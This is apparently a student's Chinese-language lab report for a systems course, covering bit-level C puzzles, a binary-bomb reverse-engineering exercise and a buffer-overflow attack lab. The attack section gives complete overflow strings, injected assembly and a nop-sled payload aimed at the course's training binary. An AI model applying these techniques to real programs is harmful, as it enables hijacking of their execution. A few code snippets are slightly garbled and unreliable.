




版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領
文檔簡介
計算機系統基礎實驗總結計算機學院計算機學院計算機類院系:學號:姓名:成績:LAB1實驗概述Lab1數據表示,需要我們在32位Linux虛擬機上使用有限種類的運算符(按位取反,邏輯與,或,非等),并盡可能的精簡步驟來補充bits.c中的函數內容,以實現規定的函數功能。函數補充完成后可輸入特定指令提交評閱。bits.c中的函數分為位操作函數,補碼運算函數,浮點數表示函數幾類,完成實驗以掌握各種數據類型在計算機中的表示方法,與C語言數據類型的位級表示及操作。實驗收獲總結在對lab1中十五個位運算函數的補充過程中,我初步了解了Linux系統的一些命令和操作,也加深了位的表示,二進制補碼運算,浮點數IEEE754表示等方面的理解。這次試驗對我的理論課學習有很大幫助,更引起了我在學習理論與實驗課的興趣。在之后的實驗和學習中我希望能學習到更多的有關計算機系統的知識并加以實踐應用。具體題目分析bitOr(只利用~和&操作,將數x和y相或)括號內為題目翻譯思路:由德摩根定律可知,取或,等價于將兩個數的取反值~x,~y相與后,再取反。代碼:intbitOr(intx,inty){return~((~x)&(~y));}evenBits(返回值為所有位均是1的數)思路:所有位均為一,即0x55555555,即將0x55左移八位,再左移十六位。代碼:intevenBits(void){inta=0x55<<8|0x55;returna<<16|a;}isTmin(判斷一個數x是否是int型最小值
)思路:int型最小值(補碼是0x80000000)有性質:tmin+tmin=0.所以tmin=~tmin+1.但是要特判去掉同樣滿足的0。代碼:intisTmin(intx){return!(x+x)&!!(x);}4.allEvenBits(判斷一個二進制數偶數位是否全為1)思路:若一個二進制數偶數位為1,奇數位為0,則這個數為0x55555555。先將x=x&0x55555555,將這個數奇數為變為0,之后x^0x55555555判斷該數是否為0x55555555。代碼:intallEvenBits(intx){inty=0x55;y|=y<<8;y|=y<<16;x&=y;return!(x^y);}5.anyEvenBit(判斷一個二進制數任意偶數位是否有1)思路:判斷偶數位是否含有1,只需要將所有偶數位與1相與,奇數位與0相與。若結果為0,則偶數位沒有1。代碼:intanyEvenBit(intx){intmask=0x55|0x55<<8;mask=mask|mask<<16;return!!(x&mask);}6.fitsBits(判斷x是否能用n位補碼表示)思路:判斷其[n+1,3]區間上的數是否全為1,或0,即可。所有數位都為0,即判斷!x是否為1。判斷一個數都為1,只需要將這個數取反~x,判斷取反之后是否為0便可。代碼:intfitsBits(intx,intn){inta=n+31;intb=x>>31;x=x>>a;x=x^b;return!x;}7.float_neg(浮點數取反)思路:取反即可,但需判斷是否為NaN(if判斷)。若是NaN數,返回原值,否則返回原數符號位取反對應的數代碼:unsignedfloat_neg(unsigneduf){inttmp=0,ret=0;ret=uf^0x80000000;//signreversetmp=uf&0x7fffffff;//if(tmp>0x7f800000)//NaNret=uf;returnret;}8.isAsciiDigit(判斷x是否可以是表示數字的Ascii碼)思路:判斷x是否滿足0x30<=x<=0x39,若滿足,返回1。代碼:intisAsciiDigit(intx){intis_upper=!((x&~0x0F)^0x30);intis_lower=!((x&0x0F)+0x06&0xF0);returnis_upper&is_lower;}9.isLess(判斷x<y)思路:x和y的符號位不同:如果x的符號位為1則滿足;x和y的符號位相同:如果y-x的符號位為0則滿足(此時可能相等)。代碼:intisLess(intx,inty){intnot_y=~y;return((((x+not_y+1)&(x^not_y))|(x¬_y))>>0x1F)&1;}10.multFiveEighths(計算x*5/8)思路:x左移二位加x即為乘五,再右移三位即為除以八。代碼:intmultFiveEighths(intx){x=x+(x<<2);return(x+(x>>31&7))>>3;}11.replaceByte(用字節數c來代替n中第x字節數)思路:首先去除x的第n字節數,與~(0xff<<(n*8))相與,然后與c<<(n*8)相或。代碼:intreplaceByte(intx,intn,intc){intmask_=0xff<<(n<<3);c<<=(n<<3);return(x&(~mask_))|c;}12.bitParity(若x中含有奇數個0返回1,偶數個0返回0)思路:偶數與偶數之差為偶數,偶數與奇數之差為奇數。所以32位二進制數中1和0的個數與奇偶性相同。將32位二進制中所有數字進行異或計算。若有偶數個1則異或結果為0,反之。代碼:intbitParity(intx){x^=x>>16;x^=x>>8;x^=x>>4;x^=x>>2;x^=x>>1;returnx&1;}13.float_half思路:先判斷是否為NaN數階碼只有最后一位為1,除2之后要變為非規格化數,按非規格化數處理,即處理階碼下溢情況階碼全0,那要么是0,要么是非規格化數,直接右移一位同時保留符號位規格化數,正常處理,階碼減一代碼:unsignedfloat_half(unsigneduf){unsigneds=uf&0x80000000;unsignedexp=uf&0x7f800000;intlsb=((uf&3)==3);if(exp==0x7f800000)returnuf;if(exp<=0x800000)returns|(((uf^s)+lsb)>>1);if(exp)return(uf-0x800000);}14.ilog2思路:以第一步為例,x>>16并且兩次邏輯非,那么若x>>16大于零則得到1,說明對應log(x)>=4,于是1<<4代碼:intilog2(intx){intbitsNumber=0;bitsNumber=(!!(x>>16))<<4;bitsNumber=bitsNumber+((!!(x>>(bitsNumber+8)))<<3);bitsNumber=bitsNumber+((!!(x>>(bitsNumber+4)))<<2);bitsNumber=bitsNumber+((!!(x>>(bitsNumber+2)))<<1);bitsNumber=bitsNumber+(!!(x>>(bitsNumber+1)));returnbitsNumber;}15.sm2tc(給出原碼表示x,返回其對應的補碼表示)思路:右移31位,將結果存為t。如果原數為正數,那么t此時全為0。而正數的補碼不用改變;否則,t全為1(負數右移補1)。負數補碼,取反+1,符號位變為1。代碼:intsm2tc(intx){intsign=x>>31;return(x^sign)+(((1<<31)+1)&sign);}Lab1完成!!!LAB2實驗概述Lab2二進制炸彈需要我們在32位linux虛擬機上用AT&T匯編語言在包含6個階段和一個秘密階段的可執行程序BinaryBombs中完成六個階段的實驗。各階段要求分別輸入一個字符串,若輸入符合程序預期則通過,否則爆炸,爆炸會扣除一定分數(若擔心爆炸次數過多,可在爆炸函數前設斷點,防止爆炸)。通過將可執行程序反匯編并用動態分析調試的方法可以得知匯編代碼的具體功能,并得出一個字符串作為答案。得出答案后將答案逐行輸入文件中,后可輸入特定指令提交評閱。實驗收獲總結在對lab2的分析調試中我對機器級程序原理的理解,以及通用調試器和逆向工程技能得到了提升,掌握了基本的gdb調試命令和ddd的一些使用方法,AT&T語言的解讀能力也有了顯著提升。完成了lab2的六個部分,計算機基礎實驗課程也已完成了一半,我對課程的學習也進入了更深層次的階段,對接下來的部分有了期待和自信。具體題目分析phase_1
本題分析:首先查看bomb.c,了解大概的程序。再輸入命令“objdump–dbomb>asm.txt”,對bomb進行反匯編并將匯編代碼輸出到asm.txt中打開反匯編代碼,找到phase_1。根據strings_not_equal函數可以看出,該函數為判斷字符串是否相等的函數。如果輸入的字符串和%eax里面的字符不相同,則該炸彈爆炸,所以我們通過執行:gdbbomb,查看0x804a2e0處存儲的數據內容。用x/1s0x804a2e0查看其中的數據,即可得到該階段的密碼。具體操作如圖所示可得出答案為:“WehavetostandwithourNorthKoreanallies.”新建一個文本文件,輸入第一關的答案運行bomb,提交phase_1答案,正確。phase_2本題分析首先分析反匯編代碼,發現8048c00: e8bf070000 call80493c4<read_six_numbers>可知本題要求輸入六個數字組成的字符串。由8048c08: 837ddc00 cmpl$0x0,-0x24(%ebp)8048c0c: 7905 jns8048c13<phase_2+0x2c>可知第一個數要大于零,由8048c13: bb01000000 mov$0x1,%ebx8048c18: 89d8 mov%ebx,%eax8048c1a: 03449dd8 add-0x28(%ebp,%ebx,4),%eax8048c1e: 39449ddc cmp%eax,-0x24(%ebp,%ebx,4)可知第二個數要比第一個數大一,否則爆炸,照此繼續分析,可知第三個數比第二個數大二,第四個數比前一個數大三以此類推,可得六個數。故答案為:“12471116”在文本文件的下一行輸入本關的答案運行bomb,提交phase_2答案,正確。phase_3首先分析反匯編代碼由8048c63: 50 push%eax8048c64: 6836a30408 push$0x804a336查看本題要求輸入的數據類型為“數字字符數字”由8048c7e: 837dec07 cmpl$0x7,-0x14(%ebp)8048c82: 0f87ef000000 ja8048d77<phase_3+0x130>可得的第一個數的要求是小于7,大于7爆炸下面在調試時查看8048c8b: ff248540a30408 jmp*0x804a340(,%eax,4)發現是一個switch語句,對應著第一個輸入的數(0-7),如圖若第一個數為0,則跳到0x8048c928048c92: b873000000 mov$0x73,%eax8048c97: 817df0b3000000 cmpl$0xb3,-0x10(%ebp)8048c9e: 0f84dd000000 je8048d81<phase_3+0x13a>8048ca4: e8db060000 call8049384<explode_bomb>分析可知若滿足條件跳轉到8048d81,否則爆炸8048d81: 3a45eb cmp-0x15(%ebp),%al8048d84: 7405 je8048d8b<phase_3+0x144>8048d86: e8f9050000 call8049384<explode_bomb>分析可得第二個字符的ascll碼值同理轉到8048d8b8048d8b: 8b45f4 mov-0xc(%ebp),%eax8048d8e: 65330514000000 xor%gs:0x14,%eax8048d95: 7405 je8048d9c<phase_3+0x155>8048d97: e834faffff call80487d0<__stack_chk_fail@plt>本題結束,得知若第一個數輸入0,下兩個是s179輸入其他小于7的數也可得出正確答案,分析方法同理。若擔心分析有誤導致爆炸次數過多,可在爆炸函數前設斷點,防止爆炸。故答案為:“0s179”在文本文件的下一行輸入本關的答案運行bomb,提交phase_3答案,正確。phase_4在分析函數func4之前,先查看%eax里面的值,同樣可以看出,該階段的密碼仍為兩個int類型的數據,若不是兩個數,爆炸。8048e6c: 50 push%eax8048e6d: 68b5a50408 push$0x804a5b5如圖在分析phase_4可知:第一個輸入的數作為func4的參數。接下來分析什么參數答案能使函數跳出遞歸即可由分析函數內容:08048d9e<func4>:8048d9e: 55 push%ebp8048d9f: 89e5 mov%esp,%ebp8048da1: 57 push%edi8048da2: 56 push%esi8048da3: 53 push%ebx……………….和嘗試運行(采取防爆炸措施)可知當輸入第一個字符為5,第二個為15時函數跳出遞歸故答案為:“5115”在文本文件的下一行輸入本關的答案運行bomb,提交phase_4答案,正確。phase_5先查看%eax里面的值,同樣可以看出,該階段的密碼仍為兩個int類型的數據,若不是兩個數,爆炸。(和大多數人的不一樣)經分析8048e7a: 83c410 add$0x10,%esp8048e7d: 83f801 cmp$0x1,%eax8048e80: 7f05 jg8048e87<phase_5+0x33>8048e82: e8fd040000 call8049384<explode_bomb>8048e87: 8b45ec mov-0x14(%ebp),%eax8048e8a: 83e00f and$0xf,%eax8048e8d: 8945ec mov%eax,-0x14(%ebp)8048e90: 83f80f cmp$0xf,%eax8048e93: 742c je8048ec1<phase_5+0x6d>8048e95: b900000000 mov$0x0,%ecx8048e9a: ba00000000 mov$0x0,%edx8048e9f: 83c201 add$0x1,%edx8048ea2: 8b048560a30408 mov0x804a360(,%eax,4),%eax8048ea9: 01c1 add%eax,%ecx8048eab: 83f80f cmp$0xf,%eax8048eae: 75ef jne8048e9f<phase_5+0x4b>8048eb0: c745ec0f000000 movl$0xf,-0x14(%ebp)8048eb7: 83fa0f cmp$0xf,%edx8048eba: 7505 jne8048ec1<phase_5+0x6d>8048ebc: 3b4df0 cmp-0x10(%ebp),%ecx由此可知,本題應該是一個循環,這道題包含一個數組,每次循環取出數組中的一個值累加存儲到%ecx中,最后一次取出的值應該是15,接著把%edx與15作比較,不相等則爆炸,反之,執行后續代碼,由此可見循環需要進行15次,加上輸入參數的時候進行了一次循環,所以,總共取了16次數組的值。那么我們打印出數組連續的16位(我試了多打出幾位,發現溢出了,說明取16次值是正確的)只需要看前16個數又因為第二個數為在數組里取到的值的累加值,所以數2為:12+3+7+11+13+9+4+8+0+10+1+2+14+6+15=115嘗試答案“5115”在文本文件的下一行輸入本關的答案運行bomb,提交phase_5答案,正確phase_6首先看代碼,發現出現過的readsixnumber函數8048ef3: e8cc040000 call80493c4<read_six_numbers>可知本題要求輸入六個數。由8048f04: 83e801 sub$0x1,%eax8048f07: 83f805 cmp$0x5,%eax8048f0a: 7605 jbe8048f11<phase_6+0x38>8048f0c: e873040000 call8049384<explode_bomb>8048f11: 83c601 add$0x1,%esi8048f14: 83fe06 cmp$0x6,%esi8048f17: 7433 je8048f4c<phase_6+0x73>這一部分代碼可知參數要小于等于6,第二個數和第一個數不相同,第三個數和第一,二個數不相同……可以推出讀取到的六個數之間不相等且都小于等于6。也就是說這六個數是1,2,3,4,5,6的一種排列。接下來確定它們的順序。接著查看后續代碼,分析以后可以得到,此段代碼主要實現把一個單鏈表的節點信息根據輸入參數的值提取出來存儲,也就是按照一定的順序對新的鏈表的第一個節點的值和第二個結點的值作了比較,得出第一個節點的值大于等于第二個節點的值)把鏈表各個節點的地址存儲在棧幀中,接下來的匯編代碼則是根據上一步得到的降序排序得到的節點地址信息把鏈表恢復的這么一個過程。所以,只要能得到存儲的這個鏈表存儲的數據得出即可以推出輸入的六個參數的順序。操作如圖:將第一個數按降序排列得到順序624315故答案為:“624315”在文本文件的下一行輸入本關的答案運行bomb,提交phase_6答案,正確。六個題均完成后答案文本為Lab2完成!!!LAB3實驗概述Lab3緩沖區溢出攻擊需要我們在32位linux虛擬機上用AT&T匯編語言對五個目標程序實施緩沖區溢出攻擊,通過造成緩沖區溢出來破壞目標程序的棧幀結構,繼而執行一些原來程序中沒有的行為。lab3要我們修改一個正在運行程序的stack以達到預期的目的。具體的修改方式是:程序定義了一個局部C風格字符串變量,注意局部變量是放在stack上面的,所以當初始化這個字符串為用戶輸入,而又沒有邊界檢查的話,就會緩沖區溢出,那么就會破壞這個函數棧,繼而執行一些原本程序沒有的東西。這關需要我們使用objdump來反匯編目標程序,使用gdb單步跟蹤調試機器代碼,查看相關內存及寄存器內容,也需要我們掌握簡單的IA32匯編程序編寫方法。得出答案后可輸入特定指令提交評閱。實驗收獲總結在做目的位構造相應的攻擊字符串,對沒有緩沖區溢出保護的目標程序實施緩沖區溢出攻擊從而跳轉到新的進程的lab3實驗中,我用objdump來反匯編目標程序,使用gdb單步跟蹤調試機器代碼,查看相關內存及寄存器內容來完成題目,在此過程中,我加深了對IA-32函數調用規則和棧幀結構的理解,也對攻擊簡單的程序的方法有了一定的了解與認識。也意識到要讓自己的代碼避免緩沖區溢出的問題。課程已完成多半,在實踐的過程中我對理論課程第三單元的學習也進入了更深層次的理解,也對最后的一部分實驗有了期待和自信。具體題目分析題目1:Smoke1.攻擊原理:利用getbuf函數不檢查所讀取的字符串的長度的漏洞來對可執行程序bufbomb進行攻擊。攻擊字符串把smoke函數的地址寫入返回地址的位置,當從getbuf函數返回時,就會調用smoke函數。2.思路做法:首先用objdump指令反匯編得到所需要的bufbomb的匯編語言文本。由80491c7: 8d45d8 lea-0x28(%ebp),%eax80491ca: 50 push%eax80491cb: e8d6faffff call8048ca6<Gets>80491d0: b801000000 mov$0x1,%eax可知位于<0x80491c7>地址處代碼為預讀的字符串在棧幀創建了0x28)字節的空間。為了覆蓋被存在返回地址上的值,我們需要讀入超過系統默認40字節大小的字符串。下面要構造0x28+4(ebp)+4(返回地址)=48字節長度的字節碼就可以將返回地址覆蓋,最后四個字節的內容放smoke函數的地址,前面44個字節任意。在bufbomb的反匯編代碼中可找到smoke函數,可知其地址為de8b0408。所以答案就是0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de8b0408(小端法)輸入指令提交,正確。題目2:Fizz攻擊原理:構造攻擊字符串作為目標程序輸入,造成緩沖區溢出,使bufbomb調用fizz函數,并將cookie值作為參數傳遞給在bufbomb中已經定義的fizz函數。和上一題的區別是函數fizz()且該函數有一個參數(每個人不同的cookie)。2.思路做法:由之前反匯編的匯編代碼可以找到fizz函數的地址:08048c06<fizz>:由fizz中的8048c0c: 8b4508 mov0x8(%ebp),%eax8048c0f: 3b0540d10408 cmp0x804d140,%eax8048c15: 7521 jne8048c38<fizz+0x32>可知其中0x8(%ebp)就是函數的參數,內存地址0x804d140就是放cookie的位置。同上一關一樣,先用fizz函數地址覆蓋掉getbuf返回地址,并且要將fizz函數的返回地址覆蓋掉,再用cookie覆蓋掉上面的參數。這樣就可以跳轉到fizz函數,并且在跳轉后自己取到cookie作為參數,fizz函數的返回地址可以用任意四個字節的數覆蓋。故答案為0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000068c040800000000a760a64f輸入指令提交,正確。題目3:Bang攻擊原理構造攻擊字符串,造成緩沖區溢出,使目標程序能夠執行bang函數;并且要篡改全局變量global_value為cookie值。但全局變量并不存放在棧中,前面兩題的方法只能修改棧中的內容,無法修改全局變量的內容。故需要先構建一段惡意代碼,修改全局變量的值,首先執行這段惡意代碼,然后再執行bang函數。思路做法先找到全局變量的位置:在bang函數里看到有兩個內存地址,正好和源程序里的判斷相等對應8048c5b: a138d10408 mov0x804d138,%eax8048c60: 3b0540d10408 cmp0x804d140,%eax判斷0x804d138和0x804d140那一個是全局變量?在getbuf函數設斷點,運行,查看一下兩個地址的值可知0x804d138是全局變量。于是惡意匯編代碼如下:movl$0x4fa660a7,0x804d138pushl$0x08048c55ret將惡意代碼保存到擴展名為.s的匯編代碼文件,然后用gcc–m32–c編譯成.o可重定位目標文件,然后objdump–d反編譯出機器碼。操作如圖還需要找到輸入字符串存放的位置作為第一次ret指令的目標位置,用gdb調試,在callgets之前設置斷點來查看eax寄存器中的內容,查看eax的值,分析getbuf()申請的緩沖區首地址為<0x55683aa8>。將指令代碼抄入攻擊文件,故答案為c70538d10408a760a64f68558c0408c300000000000000000000000000000000000000000000000000000000a83a6855輸入指令提交,正確。題目四:Boom攻擊原理構造攻擊字符串,使得getbuf都能將正確的cookie值返回給test函數,。設置返回值也就是更改eax的值,可以用mov指令設置eax存的為cookie值。更改完要進入test函數繼續執行下面的指令將這個地址壓棧。思路做法首先構造攻擊字符串,使得getbuf都能將正確的cookie值返回給test函數,而不是返回值1。設置返回值也就是更改eax的值,可以用mov指令設置eax存的為cookie值。由8048d6b: e851040000 call80491c1<getbuf>8048d70: 89c3 mov%eax,%ebx可以知道在test函數中getbuf()在<0x08048d6b>被執行因此正確的跳轉地址為<0x08048d70>另外,要還原棧幀,我們必須知道在調用getbuf()之前的原始ebp的值,這里使用gdb調試來獲取,在<0x08048d6b>設置斷點,然后查看進入getbuf之前的%ebp寄存器值。故編寫代碼如下movl$0x4fa660a7,%eax//將返回值修改為cookiepush$0x08048d70//將要執行的指令的地址壓入返回地址ret用同上一關一樣的方法:將惡意代碼保存到擴展名為.s的匯編代碼文件,然后用gcc–m32–c編譯成.o可重定位目標文件,然后objdump–d反編譯出機器碼。操作如圖,得到字節碼如下:接下來要恢復ebp的值,先得到ebp的舊值。用gdb調試:在getbuf第一行設置斷點。查看ebp的值。用這個值覆蓋ebp值。ebp值在返回地址的低方位,放在返回地址前。答案為:b8a760a64f68708d0408c30000000000000000000000000000000000000000000000000000000000f03a6855a83a6855輸入指令提交,正確。題目5Nitro攻擊原理用同一個攻擊字符串,執行getubufn函數5次,使getbufn函數每次都把cookie值返回給testn函數。題目的棧地址是動態的,每次都不一樣,bufbomb會連續要輸入5次字符串,每次都調用getbufn(),每次的棧地址都不一樣,可以使用匯編指令nop(機器代碼:90)填充輸入字符串,這樣一來在一定范圍內無論在哪里進入我們的攻擊程序執行指令最終都會滑到攻擊代碼。思路做法題目的棧地址是動態的,每次都不一樣。雖然棧的初始地址不同,但會在一些范圍里浮動,所以我們需要把我們的代碼填在512字節的最后幾個字節里,并且前面全面的空間都填上nop(編碼為0x90)。ebp是隨機的,但是ebp相對esp是絕對的,根據08048dd1<testn>:8048dd1: 55 push%ebp8048dd2: 89e5 mov%esp,%ebp8048dd4: 53 push%ebx8048dd5: 83ec14 sub$0x14,%esp8048dd8: e864ffffff call8048d41<uniqueval>8048ddd: 8945f4 mov%eax,-0xc(%ebp)8048de0: e8f2030000 call80491d7<getbufn>8048de5: 89c3 mov%eax,%ebx8048de7: e855ffffff call8048d41<uniqueval>8048dec: 8b55f4 mov-0xc(%ebp),%edx8048def: 39d0 cmp%edx,%eax8048df1: 7412 je8048e05<testn+0x34>8048df3: 83ec0c sub$0xc,%esp8048df6: 68d0a10408 push$0x804a1d08048dfb: e890faffff call8048890<puts@plt>8048e00: 83c410 add$0x10,%esp8048e03: eb3c jmp8048e41<testn+0x70>8048e05: 3b1d40d10408 cmp0x804d140,%ebx8048e0b: 7521 jne8048e2e<testn+0x5d>8048e0d: 83ec04 sub$0x4,%esp得,雖然ebp的值每次變化,無法直接賦值,但是在getbufn()程序中ebp和esp值差是一定的。綜合得出惡意代碼為:movl$0x4fa660a7,%eaxlea0x28(%esp),%ebppush$0x8048de5ret用同上一關一樣的方法:將惡意代碼保存到擴展名為.s的匯編代碼文件,然后用gcc–m32–c編譯成.o可重定位目標文件,然后objdump–d反編譯出機器碼。操作如圖,得到字節碼如下:再由getbufn函數:080491d7<getbufn>:80491d7: 55 push%ebp80491d8: 89e5 mov%esp,%ebp80491da: 81ec14020000 sub$0x214,%esp80491e0: 8d85f8fdffff lea-0x208(%ebp),%eax80491e6: 50 push%eax80491e7: e8bafaffff call8048ca6<Gets>80491ec: b801000000 mov$0x1,%eax要填入0x208+4+4=528字節。因為隨機,不知道程序會跳到哪里,所以把惡意代碼放到最后面,用nop滑行。所以,前面塞滿90,最后面寫上惡意代碼程序,以及最后要跳的位置。最后尋找要跳的地址:由于隨機化,buf首地址不確定。用gdb調試:如此這樣五次這樣獲得了5個buf起始地址。取最高地址0x556838e8作為返回地址,這樣就會一路滑行到惡意代碼,執行惡意代碼。答案為:9090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090b8a760a64f8d6c241868e58d0408c3e8386855輸入指令提交,正確。Lab3完成!!!LAB4實驗概述Lab4ELF與鏈接:修改phase[n].o文件,使其與main..o文件鏈接,使得可執行文件實現指定的行為(輸出個人的學號)。該實驗分為五個階段,每個階段考察ELF文件組成與程序鏈接過程的不同方面知識:階段1:全局變量階段,2:指令階段,3:符號解
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
- 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
- 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2025-2030商業保理項目可行性研究咨詢報告
- 2025-2030吉他包行業市場現狀供需分析及重點企業投資評估規劃分析研究報告
- 2025-2030變速箱行業行業風險投資發展分析及投資融資策略研究報告
- 2025-2030卡車行業市場發展分析及發展前景與投資機會研究報告
- 2025-2030加熱織物行業市場現狀供需分析及重點企業投資評估規劃分析研究報告
- 2025至2030年中國數位地面廣播接收機市場調查研究報告
- 2025至2030年中國摩擦堅牢度試驗機數據監測研究報告
- 2025至2030年中國搬運車行業發展研究報告
- 2025至2030年中國推拉鼠市場分析及競爭策略研究報告
- 2025至2030年中國換擋軸座市場現狀分析及前景預測報告
- 園林花卉 課件 第三篇1單元 一二年生花卉
- 【初中生物】植物在自然界中的作用 2024-2025學年七年級生物下學期課件(人教版2024)
- 工藝美術品設計師(漆器設計與制作)賽項實施方案
- 廣東省2025屆高三下學期3月綜合能力測試(CAT) 英語試題(含答案)
- 高中主題班會 我命由我少年當燃課件-高一下學期開學第一次班會
- 林海雪原考試題和答案
- 綜合與實踐 低碳生活 教學設計 2024-2025學年人教版七年級數學下冊
- 數字化染整技術基礎知識單選題100道及答案
- 2024年許昌電氣職業學院高職單招職業技能測驗歷年參考題庫(頻考版)含答案解析
- 湖北省武漢市重點中學5G聯合體2023-2024學年高一下學期期末考試英語試卷 含答案
- 2024-2025學年廣東省深圳市南山區監測數學三年級第一學期期末學業水平測試試題含解析
評論
0/150
提交評論